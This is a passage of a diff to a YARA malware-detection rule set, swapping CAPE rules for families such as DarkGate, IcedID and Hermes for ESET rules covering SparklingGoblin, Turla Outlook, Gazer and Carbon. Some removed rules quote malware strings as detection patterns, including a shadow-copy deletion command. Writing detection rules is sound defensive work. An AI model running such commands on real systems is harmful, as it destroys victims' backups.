+            C1 C1 0C
+            44 03 C9
+            45 8B F1
+            44 33 F0
+            41 C1 C6 08
+            45 03 EE
+            41 8B C5
+            33 C1
+            8B 4D ??
+            C1 C0 07
+        }
 
 	condition:
-		uint16(0)==0x5A4D and ( any of ($code*)) and ( any of ($string*))
+		any of them and filesize <450KB
 }
-rule CAPE_Darkgate
+import "pe"
+
+rule ESET_Sparklinggoblin_Etweventwrite
 {
 	meta:
-		description = "DarkGate Payload"
-		author = "enzok"
-		id = "ce81f452-4096-51d6-97cc-624f9fbefa86"
-		date = "2024-02-26"
-		modified = "2024-02-26"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/DarkGate.yar#L1-L16"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "25c0e77a83676c6a18445f8df0b1f7a9148de5f64eeb532f9a4f4d4652dd8191"
+		description = "SparklingGoblin EtwEventWrite patching"
+		author = "ESET Research"
+		id = "27b36ee1-a98c-5174-a156-8e0b0d0a58cd"
+		date = "2021-05-20"
+		modified = "2021-08-26"
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/sparklinggoblin/SparklingGoblin.yar#L370-L463"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		hash = "2edbea43f5c40c867e5b6bbd93cc972525df598b"
+		hash = "b6d245d3d49b06645c0578804064ce0c072cbe0f"
+		hash = "8be6d5f040d0085c62b1459afc627707b0de89cf"
+		hash = "4668302969fe122874fb2447a80378dcb671c86b"
+		hash = "9bdecb08e16a23d271d0a3e836d9e7f83d7e2c3b"
+		hash = "9ce7650f2c08c391a35d69956e171932d116b8bd"
+		logic_hash = "45615dcc5302392c18052818071623a9d1a1008c460bdb24a4acfb4300356c6b"
 		score = 75
-		quality = 70
+		quality = 80
 		tags = ""
-		cape_type = "DarkGate Payload"
+		license = "BSD 2-Clause"
 
 	strings:
-		$part1 = {8B 55 ?? 8A 4D ?? 80 E1 3F C1 E1 02 8A 5D ?? 80 E3 30 81 E3 FF [3] C1 EB 04 02 CB 88 4C 10 FF FF 45 ?? 80 7D ?? 40}
-		$part2 = {8B 55 ?? 8A 4D ?? 80 E1 0F C1 E1 04 8A 5D ?? 80 E3 3C 81 E3 FF [3] C1 EB 02 02 CB 88 4C 10 FF FF 45 ?? 80 7D ?? 40}
-		$part3 = {8B 55 ?? 8A 4D ?? 80 E1 03 C1 E1 06 8A 5D ?? 80 E3 3F 02 CB 88 4C 10 FF FF 45}
-		$alphabet = "zLAxuU0kQKf3sWE7ePRO2imyg9GSpVoYC6rhlX48ZHnvjJDBNFtMd1I5acwbqT+="
-		$config1 = {B9 01 04 00 00 E8 [4] 8D 45}
-		$config2 = {8B 55 ?? 8D 45 ?? E8 [4] 8D 45 ?? 5? B? 06 00 00 00 B? 01 00 00 00 8B 45 ?? E8 [4] 8B 45 ?? B? [4] E8 [4] 75}
+		$chunk_1 = {
+            48 8D 0D ?? ?? ?? ??
+            C7 44 24 ?? 48 31 C0 C3
+            FF 15 ?? ?? ?? ??
+            48 8B C8
+            48 8D 15 ?? ?? ?? ??
+            FF 15 ?? ?? ?? ??
+            83 64 24 ?? 00
+            4C 8D 4C 24 ??
+            BF 04 00 00 00
+            48 8B C8
+            8B D7
+            48 8B D8
+            44 8D 47 ??
+            FF 15 ?? ?? ?? ??
+            44 8B C7
+            48 8D 54 24 ??
+            48 8B CB
+            E8 ?? ?? ?? ??
+            44 8B 44 24 ??
+            4C 8D 4C 24 ??
+            8B D7
+            48 8B CB
+            FF 15 ?? ?? ?? ??
+            48 8B 05 ?? ?? ?? ??
+        }
+		$chunk_2 = {
+            55
+            8B EC
+            51
+            51
+            57
+            68 08 1A 41 00
+            66 C7 45 ?? C2 14
+            C6 45 ?? 00
+            FF 15 ?? ?? ?? ??
+            68 10 1A 41 00
+            50
+            FF 15 ?? ?? ?? ??
+            83 65 ?? 00
+            8B F8
+            8D 45 ??
+            50
+            6A 40
+            6A 03
+            57
+            FF 15 ?? ?? ?? ??
+            6A 03
+            8D 45 ??
+            50
+            57
+            E8 ?? ?? ?? ??
+            83 C4 0C
+            8D 45 ??
+            50
+            FF 75 ??
+            6A 03
+            57
+            FF 15 ?? ?? ?? ??
+        }
+		$chunk_3 = {
+            48 8D 0D ?? ?? ?? ??
+            C7 44 24 ?? 48 31 C0 C3
+            FF 15 ?? ?? ?? ??
+            48 8B C8
+            48 8D 15 ?? ?? ?? ??
+            FF 15 ?? ?? ?? ??
+        }
 
 	condition:
-		($alphabet) and ( any of ($part*) or all of ($config*))
+		any of them
 }
-rule CAPE_Seduploader : FILE
-{
-	meta:
-		description = "Seduploader decrypt function"
-		author = "kevoreilly"
-		id = "a7152d8c-a197-5784-8a6d-453d41585df1"
-		date = "2022-06-09"
-		modified = "2022-06-09"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/Seduploader.yar#L1-L11"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "d70c886699169d4dafc5b063c93682a34af5667df6d293b52256ddc19ab9c516"
-		score = 75
-		quality = 70
-		tags = "FILE"
-		cape_type = "Seduploader Payload"
-
-	strings:
-		$decrypt1 = {8D 0C 30 C7 45 FC 0A 00 00 00 33 D2 F7 75 FC 8A 82 ?? ?? ?? ?? 32 04 0F 88 01 8B 45 0C 40 89 45 0C 3B C3 7C DB}
+import "pe"
 
-	condition:
-		uint16(0)==0x5A4D and any of ($decrypt*)
-}
-rule CAPE_Atlas : FILE
+rule ESET_Sparklinggoblin_Mutex
 {
 	meta:
-		description = "Atlas Payload"
-		author = "kevoreilly"
-		id = "22322e5c-ded6-56df-8a39-a8f5cbc18239"
-		date = "2019-10-30"
-		modified = "2019-10-30"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/Atlas.yar#L1-L13"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "c3f73b29df5caf804dbfe3e6ac07a9e2c772bd2a126f0487e4a65e72bd501e6e"
+		description = "SparklingGoblin ChaCha20 loaders mutexes"
+		author = "ESET Research"
+		id = "e33d2bc1-29d6-5117-8e0f-31f8bced0979"
+		date = "2021-05-20"
+		modified = "2021-08-26"
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/sparklinggoblin/SparklingGoblin.yar#L465-L489"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		hash = "2edbea43f5c40c867e5b6bbd93cc972525df598b"
+		hash = "b6d245d3d49b06645c0578804064ce0c072cbe0f"
+		hash = "8be6d5f040d0085c62b1459afc627707b0de89cf"
+		hash = "4668302969fe122874fb2447a80378dcb671c86b"
+		hash = "9bdecb08e16a23d271d0a3e836d9e7f83d7e2c3b"
+		hash = "9ce7650f2c08c391a35d69956e171932d116b8bd"
+		logic_hash = "00fbd514c8e2d6dea3b0f175e857a613e158b64caf1f970e814d62f1ebe9d35c"
 		score = 75
-		quality = 70
-		tags = "FILE"
-		cape_type = "Atlas Payload"
+		quality = 80
+		tags = ""
+		license = "BSD 2-Clause"
 
 	strings:
-		$a1 = "bye.bat"
-		$a2 = "task=knock&id=%s&ver=%s x%s&disks=%s&other=%s&ip=%s&pub="
-		$a3 = "process call create \"cmd /c start vssadmin delete shadows /all /q"
+		$mutex_1 = "kREwdFrOlvASgP4zWZyV89m6T2K0bIno"
+		$mutex_2 = "v5EPQFOImpTLaGZes3Nl1JSKHku8AyCw"
 
 	condition:
-		uint16(0)==0x5A4D and ( all of ($a*))
+		any of them
 }
-rule CAPE_Squirrelwaffle : FILE
-{
-	meta:
-		description = "No description has been set in the source file - CAPE"
-		author = "kevoreilly & R3MRUM"
-		id = "0ae75f24-7a2a-57d3-8c6f-a61ac6cc08e7"
-		date = "2021-10-13"
-		modified = "2021-10-13"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/SquirrelWaffle.yar#L1-L11"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "5f799333398421d537ec7a87ca94f6cc9cf1e53e55b353036a5132440990e500"
-		score = 75
-		quality = 70
-		tags = "FILE"
-		cape_type = "SquirrelWaffle Payload"
-
-	strings:
-		$code = {8D 45 ?? C6 45 ?? 00 0F 43 4D ?? 83 7D ?? 10 0F 43 45 ?? 8A 04 10 32 04 39 8D 4D ?? 0F B6 C0 50 6A 01 E8 [4] C6 45}
-		$decode = {F7 75 ?? 83 7D ?? 10 8D 4D ?? 8D 45 ?? C6 45 ?? 00 0F 43 4D ?? 83 7D ?? 10 0F 43 45 ?? 8A 04 10 32 04 39}
+import "pe"
 
-	condition:
-		uint16(0)==0x5A4D and all of them
-}
-rule CAPE_Kovter : FILE
+rule ESET_Turla_Outlook_Gen
 {
 	meta:
-		description = "Kovter Payload"
-		author = "kevoreilly"
-		id = "3dec3c4b-4678-5ed1-a4c3-c3d9abb58b1c"
-		date = "2019-10-30"
-		modified = "2019-10-30"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/Kovter.yar#L1-L14"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "888fccb8fbfbe6c05ec63bc5658b4743f8e10a96ef51b3868c2ff94afec76f2d"
+		description = "Turla Outlook malware"
+		author = "ESET Research"
+		id = "efef2443-c941-54c2-abfa-bbe29c53d930"
+		date = "2018-05-09"
+		modified = "2018-09-05"
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/turla/turla-outlook.yar#L42-L74"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "f709e517e9d957775601670c426cc9def1c4104cb1ff647d269800d2af4372c7"
 		score = 75
-		quality = 70
-		tags = "FILE"
-		cape_type = "Kovter Payload"
+		quality = 78
+		tags = ""
+		version = 2
+		contact = "github@eset.com"
+		license = "BSD 2-Clause"
 
 	strings:
-		$a1 = "chkok"
-		$a2 = "k2Tdgo"
-		$a3 = "13_13_13"
-		$a4 = "Win Server 2008 R2"
+		$s1 = "Outlook Express" ascii wide
+		$s2 = "Outlook watchdog" ascii wide
+		$s3 = "Software\\RIT\\The Bat!" ascii wide
+		$s4 = "Mail Event Window" ascii wide
+		$s5 = "Software\\Mozilla\\Mozilla Thunderbird\\Profiles" ascii wide
+		$s6 = "%%PDF-1.4\n%%%c%c\n" ascii wide
+		$s7 = "%Y-%m-%dT%H:%M:%S+0000" ascii wide
+		$s8 = "rctrl_renwnd32" ascii wide
+		$s9 = "NetUIHWND" ascii wide
+		$s10 = "homePostalAddress" ascii wide
+		$s11 = "/EXPORT;OVERRIDE;START=-%d;END=-%d;FOLDER=%s;OUT=" ascii wide
+		$s12 = "Re:|FWD:|AW:|FYI:|NT|QUE:" ascii wide
+		$s13 = "IPM.Note" ascii wide
+		$s14 = "MAPILogonEx" ascii wide
+		$s15 = "pipe\\The Bat! %d CmdLine" ascii wide
+		$s16 = "PowerShellRunner.dll" ascii wide
+		$s17 = "cmd container" ascii wide
+		$s18 = "mapid.tlb" ascii wide nocase
+		$s19 = "Content-Type: F)*+" ascii wide fullword
 
 	condition:
-		uint16(0)==0x5A4D and ( all of ($a*))
+		ESET_Not_Ms_PRIVATE and 5 of them
 }
-rule CAPE_Zloader : FILE
+import "pe"
+
+rule ESET_Turla_Outlook_Filenames
 {
 	meta:
-		description = "Zloader Payload"
-		author = "kevoreilly, enzok"
-		id = "ce0662b4-c615-5b87-b5c1-173f90a97db2"
-		date = "2024-05-06"
-		modified = "2024-05-06"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/Zloader.yar#L1-L18"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		hash = "adbd0c7096a7373be82dd03df1aae61cb39e0a155c00bbb9c67abc01d48718aa"
-		logic_hash = "a94efd87c69146cf5771341974e5abe789445d67dde3e045e1b87d3131539ff9"
+		description = "Turla Outlook filenames"
+		author = "ESET Research"
+		id = "3a08003d-50d6-5fdf-9f74-222335ebfa3e"
+		date = "2018-08-22"
+		modified = "2018-09-05"
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/turla/turla-outlook.yar#L76-L91"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "3be86c9325de6634c032321beed131fdf1e1952afcb43258fb202d0097610501"
 		score = 75
-		quality = 70
-		tags = "FILE"
-		cape_type = "Zloader Payload"
+		quality = 80
+		tags = ""
+		contact = "github@eset.com"
+		license = "BSD 2-Clause"
 
 	strings:
-		$rc4_init = {31 [1-3] 66 C7 8? 00 01 00 00 00 00 90 90 [0-5] 8? [5-90] 00 01 00 00 [0-15] (74|75)}
-		$decrypt_conf = {83 C4 04 84 C0 74 5? E8 [4] E8 [4] E8 [4] E8 [4] ?8 [4] ?8 [4] ?8}
-		$decrypt_conf_1 = {48 8d [5] [0-6] e8 [4] 48 [3-4] 48 [3-4] 48 [6] E8}
-		$decrypt_conf_2 = {48 8d [5] 4? [5] e8 [4] 48 [3-4] 48 8d [5] E8 [4] 48}
-		$decrypt_key_1 = {66 89 C2 4? 8D 0D [3] 00 4? B? FC 03 00 00 E8 [4] 4? 83 C4 [1-2] C3}
-		$decrypt_key_2 = {48 8d 0d [3] 00 66 89 ?? 4? 89 F0 4? [2-5] E8 [4-5] 4? 83 C4}
-		$decrypt_key_3 = {48 8d 0d [3] 00 e8 [4] 66 89 [3] b? [4] e8 [4] 66 8b}
+		$s1 = "mapid.tlb"
+		$s2 = "msmime.dll"
+		$s3 = "scawrdot.db"
 
 	condition:
-		uint16(0)==0x5A4D and 1 of ($decrypt_conf*) and (1 of ($decrypt_key*) or $rc4_init)
+		any of them
 }
-rule CAPE_Bruteratel
+import "pe"
+
+rule ESET_Turla_Outlook_Log
 {
 	meta:
-		description = "BruteRatel Payload"
-		author = "kevoreilly"
-		id = "61b951e4-0c27-59c0-8ea2-715b673fdcee"
-		date = "2024-07-11"
-		modified = "2024-07-11"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/BruteRatel.yar#L1-L14"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "0984977c716d6f8e068c045166eb5db77c9fbce27513e555dceca348375f1a66"
+		description = "First bytes of the encrypted Turla Outlook logs"
+		author = "ESET Research"
+		id = "b0031c08-8418-5a02-8a2c-daa7236f46f0"
+		date = "2018-08-22"
+		modified = "2018-09-05"
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/turla/turla-outlook.yar#L93-L107"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "e7dc00c33a643c0940aaea2096d099192b27df3c81c518f1dc2b3d45a0a74312"
 		score = 75
-		quality = 70
+		quality = 80
 		tags = ""
-		cape_type = "BruteRatel Payload"
+		contact = "github@eset.com"
+		license = "BSD 2-Clause"
 
 	strings:
-		$syscall1 = {49 89 CA 4? 89 ?? (41 FF|FF)}
-		$syscall2 = {49 89 CA 48 8B 44 24 ?? FF 64 24}
-		$jmpapi = {49 89 ?? 10 49 C7 45 08 ?? 00 00 00 E8 00 00 00 00 ?? (48|49) 83 [2] 41 FF E2}
-		$decode = {89 C2 8A 14 17 40 38 EA 75 06 FF C0 89 03 EB 0B 41 88 14 08 48 FF C1 FF 03 EB}
+		$s1 = {01 87 C9 75 C8 69 98 AC E0 C9 7B [21] EB BB 60 BB 5A}
 
 	condition:
-		2 of them
+		$s1 at 0
 }
-rule CAPE_Icedid
+import "pe"
+
+rule ESET_Turla_Outlook_Exports
 {
 	meta:
-		description = "IcedID Payload"
-		author = "kevoreilly, threathive"
-		id = "439342be-a1e6-5656-8813-5cebb0e88e98"
-		date = "2021-12-16"
-		modified = "2021-12-16"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/IcedID.yar#L1-L18"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "e60ccbab7a360020744eba65961156ca3e2ae9cf23671014f913d71c1a96a331"
+		description = "Export names of Turla Outlook Malware"
+		author = "ESET Research"
+		id = "6df4f75e-711a-539d-94bf-9e4e2063ecd4"
+		date = "2018-08-22"
+		modified = "2018-09-05"
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/turla/turla-outlook.yar#L109-L125"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "a961fdb43ea1e99b308f55b8f5e264b1f3fa817eaf463d512e2ad8b98a18ee99"
 		score = 75
-		quality = 45
+		quality = 80
 		tags = ""
-		cape_type = "IcedID Payload"
-
-	strings:
-		$crypt1 = {8A 04 ?? D1 C? F7 D? D1 C? 81 E? 20 01 00 00 D1 C? F7 D? 81 E? 01 91 00 00 32 C? 88}
-		$crypt2 = {8B 44 24 04 D1 C8 F7 D0 D1 C8 2D 20 01 00 00 D1 C0 F7 D0 2D 01 91 00 00 C3}
-		$crypt3 = {41 00 8B C8 C1 E1 08 0F B6 C4 66 33 C8 66 89 4? 24 A1 ?? ?? 41 00 89 4? 20 A0 ?? ?? 41 00 D0 E8 32 4? 32}
-		$download1 = {8D 44 24 40 50 8D 84 24 44 03 00 00 68 04 21 40 00 50 FF D5 8D 84 24 4C 01 00 00 C7 44 24 28 01 00 00 00 89 44 24 1C 8D 4C 24 1C 8D 84 24 4C 03 00 00 83 C4 0C 89 44 24 14 8B D3 B8 BB 01 00 00 66 89 44 24 18 57}
-		$download2 = {8B 75 ?? 8D 4D ?? 8B 7D ?? 8B D6 57 89 1E 89 1F E8 [4] 59 3D C8 00 00 00 75 05 33 C0 40 EB}
-		$major_ver = {0F B6 05 ?? ?? ?? ?? 6A ?? 6A 72 FF 75 0C 6A 70 50 FF 35 ?? ?? ?? ?? 8D 45 80 FF 35 ?? ?? ?? ?? 6A 63 FF 75 08 6A 67 50 FF 75 10 FF 15 ?? ?? ?? ?? 83 C4 38 8B E5 5D C3}
-		$stage_2_request_binary = "id="
-		$stage_2_request_img = ".png"
+		contact = "github@eset.com"
+		license = "BSD 2-Clause"
 
 	condition:
-		any of ($crypt*,$download*,$major_ver) and all of ($stage_2_request_*)
+		(pe.exports("install") or pe.exports("Install")) and pe.exports("TBP_Initialize") and pe.exports("TBP_Finalize") and pe.exports("TBP_GetName") and pe.exports("DllRegisterServer") and pe.exports("DllGetClassObject")
 }
-rule CAPE_Ramnit : FILE
+import "pe"
+
+rule ESET_Gazer_Certificate_Subject
 {
 	meta:
-		description = "Ramnit Payload"
-		author = "kevoreilly"
-		id = "6df92055-05f6-5985-9268-b9c85e143567"
-		date = "2019-10-30"
-		modified = "2019-10-30"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/Ramnit.yar#L1-L13"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "6f661f47bdf8377b0fb96f190fcb964c0ed2b43ce7ae7880f9dfce9e43837efd"
+		description = "Turla Gazer malware"
+		author = "ESET Research"
+		id = "a7719333-b341-538c-a8ed-5c50b653a765"
+		date = "2017-08-30"
+		modified = "2017-08-29"
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/turla/gazer.yar#L33-L46"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "6e870c9cdcee33769162de62ea143ff401af50b22a63d2f212c44d06f5771dec"
 		score = 75
-		quality = 70
-		tags = "FILE"
-		cape_type = "Ramnit Payload"
-
-	strings:
-		$DGA = {33 D2 B9 1D F3 01 00 F7 F1 8B C8 B8 A7 41 00 00 F7 E2 8B D1 8B C8 B8 14 0B 00 00 F7 E2 2B C8 33 D2 8B C1 8B}
-		$xor_loop = {83 7D 0C 00 74 27 83 7D 14 00 74 21 8B 4D 0C 8B 7D 08 8B 75 10 BA 00 00 00 00 0B D2 75 04 8B 55 14 4A 8A 1C 32 32 1F 88 1F 47 4A E2 ED}
-		$id_string = "{%08X-%04X-%04X-%04X-%08X%04X}"
+		quality = 80
+		tags = ""
+		contact = "github@eset.com"
+		license = "BSD 2-Clause"
 
 	condition:
-		uint16(0)==0x5A4D and all of ($*)
+		for any i in (0..pe.number_of_signatures-1) : (pe.signatures[i].subject contains "Solid Loop" or pe.signatures[i].subject contains "Ultimate Computer Support")
 }
-rule CAPE_Sedreco : FILE
+import "pe"
+
+rule ESET_Gazer_Certificate : FILE
 {
 	meta:
-		description = "Sedreco encrypt function entry"
-		author = "kevoreilly"
-		id = "5b9ee4af-50a4-597c-8fa5-f2094c312d23"
-		date = "2022-06-09"
-		modified = "2022-06-09"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/Sedreco.yar#L1-L15"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "f735549606917f59a19157e604e54766e4456bc5d46e94cae3e0a3c18b52a7ca"
+		description = "Turla Gazer malware"
+		author = "ESET Research"
+		id = "e90bbe53-4e7f-59c4-a505-4893150bf824"
+		date = "2017-08-30"
+		modified = "2017-08-29"
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/turla/gazer.yar#L48-L65"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "eb3afbaefd23d4fc6ded494d3378dc910a0832b160e733ab79c590128dd74cea"
 		score = 75
-		quality = 70
+		quality = 80
 		tags = "FILE"
-		cape_type = "Sedreco Payload"
+		contact = "github@eset.com"
+		license = "BSD 2-Clause"
 
 	strings:
-		$encrypt1 = {55 8B EC 83 EC 2C 53 56 8B F2 57 8B 7D 08 B8 AB AA AA AA}
-		$encrypt2 = {55 8B EC 83 EC 20 8B 4D 10 B8 AB AA AA AA}
-		$encrypt64_1 = {48 89 4C 24 08 53 55 56 57 41 54 41 56 48 83 EC 18 45 8D 34 10 48 8B E9 B8 AB AA AA AA 4D 8B E1 44 89 44 24 60 41 F7 E0 8B F2 B8 AB AA AA AA}
+		$certif1 = {52 76 a4 53 cd 70 9c 18 da 65 15 7e 5f 1f de 02}
+		$certif2 = {12 90 f2 41 d9 b2 80 af 77 fc da 12 c6 b4 96 9c}
 
 	condition:
-		uint16(0)==0x5A4D and $encrypt1 or $encrypt2 or $encrypt64_1
+		( uint16(0)==0x5a4d) and 1 of them and filesize <2MB
 }
-rule CAPE_Hermes : FILE
+import "pe"
+
+rule ESET_Gazer_Logfile_Name : FILE
 {
 	meta:
-		description = "Hermes Payload"
-		author = "kevoreilly"
-		id = "0ff44422-9c14-517b-9e71-8e9e19694f06"
-		date = "2019-10-30"
-		modified = "2019-10-30"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/Hermes.yar#L1-L13"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "9bc974173f39a57e7adfbf8ae106a20d960557696b4c3ce16e9b4e47d3e9e95b"
+		description = "Turla Gazer malware"
+		author = "ESET Research"
+		id = "3e1454e9-dddf-5197-b486-b96d725fdb58"
+		date = "2017-08-30"
+		modified = "2017-08-29"
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/turla/gazer.yar#L67-L85"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "b50553f4b4b07f124e5bd390e7dc8ac6b60a8ef185f3bc227894f957d6483478"
 		score = 75
-		quality = 70
+		quality = 80
 		tags = "FILE"
-		cape_type = "Hermes Payload"
+		contact = "github@eset.com"
+		license = "BSD 2-Clause"
 
 	strings:
-		$ext = ".HRM" wide
-		$vss = "vssadmin Delete"
-		$email = "supportdecrypt@firemail.cc" wide
+		$s1 = "CVRG72B5.tmp.cvr"
+		$s2 = "CVRG1A6B.tmp.cvr"
+		$s3 = "CVRG38D9.tmp.cvr"
 
 	condition:
-		uint16(0)==0x5A4D and all of ($*)
+		( uint16(0)==0x5a4d) and 1 of them
 }
-rule CAPE_Nettraveler : FILE
+import "pe"
+
+rule ESET_Generic_Carbon : FILE
 {
 	meta:
-		description = "NetTraveler Payload"
-		author = "kevoreilly"
-		id = "242e1c3f-5460-5393-9c07-cfab25860796"
-		date = "2022-06-09"
-		modified = "2022-06-09"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/NetTraveler.yar#L1-L14"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "bf5026f1a1cb3d6986a29d22657a9f1904b362391a6715d7468f8f8aca351233"
+		description = "Turla Carbon malware"
+		author = "ESET Research"
+		id = "efdc0d16-a974-5c00-a401-391d60f3081e"
+		date = "2017-03-30"
+		modified = "2017-03-30"
+		reference = "https://github.com/eset/malware-ioc/"
+		source_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/turla/carbon.yar#L33-L51"
+		license_url = "https://github.com/eset/malware-ioc/blob/9b299fc90dc027a039652a8a4ac487ade0a381dd/LICENSE"
+		logic_hash = "6481ccafb7c7c78bc52d01881cb96f3aa6209fdd35e090bdc9d5f5105b4e38ea"
 		score = 75
-		quality = 70
+		quality = 80
 		tags = "FILE"
-		cape_type = "NetTraveler Payload"
+		contact = "github@eset.com"
+		license = "BSD 2-Clause"
 
 	strings:
-		$string1 = {4E 61 6D 65 3A 09 25 73 0D 0A 54 79 70 65 3A 09 25 73 0D 0A 53 65 72 76 65 72 3A 09 25 73 0D 0A}
-		$string2 = "Password Expiried Time:"
-		$string3 = "Memory: Total:%dMB,Left:%dMB (for %.2f%s)"
+		$s1 = "ModStart"
+		$t1 = "STOP|OK"
+		$t2 = "STOP|KILL"
 
 	condition:
-		uint16(0)==0x5A4D and all of them
+		( uint16(0)==0x5a4d) and (1 of ($s*)) and (1 of ($t*))
 }
-/*
- * YARA Rule Set
- * Repository Name: BinaryAlert
- * Repository: https://github.com/airbnb/binaryalert/
- * Retrieval Date: 2024-08-04
- * Git Commit: a9c0f06affc35e1f8e45bb77f835b92350c68a0b
- * Number of Rules: 80
- * Skipped: 0 (age), 1 (quality), 0 (score), 0 (importance)
- *
- *
- * LICENSE
- *
- *                                  Apache License
-                           Version 2.0, January 2004
-                        http://www.apache.org/licenses/
-
-   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
-
-   1. Definitions.
-
-      "License" shall mean the terms and conditions for use, reproduction,
-      and distribution as defined by Sections 1 through 9 of this document.
-
-      "Licensor" shall mean the copyright owner or entity authorized by
-      the copyright owner that is granting the License.
-
-      "Legal Entity" shall mean the union of the acting entity and all
-      other entities that control, are controlled by, or are under common
-      control with that entity. For the purposes of this definition,
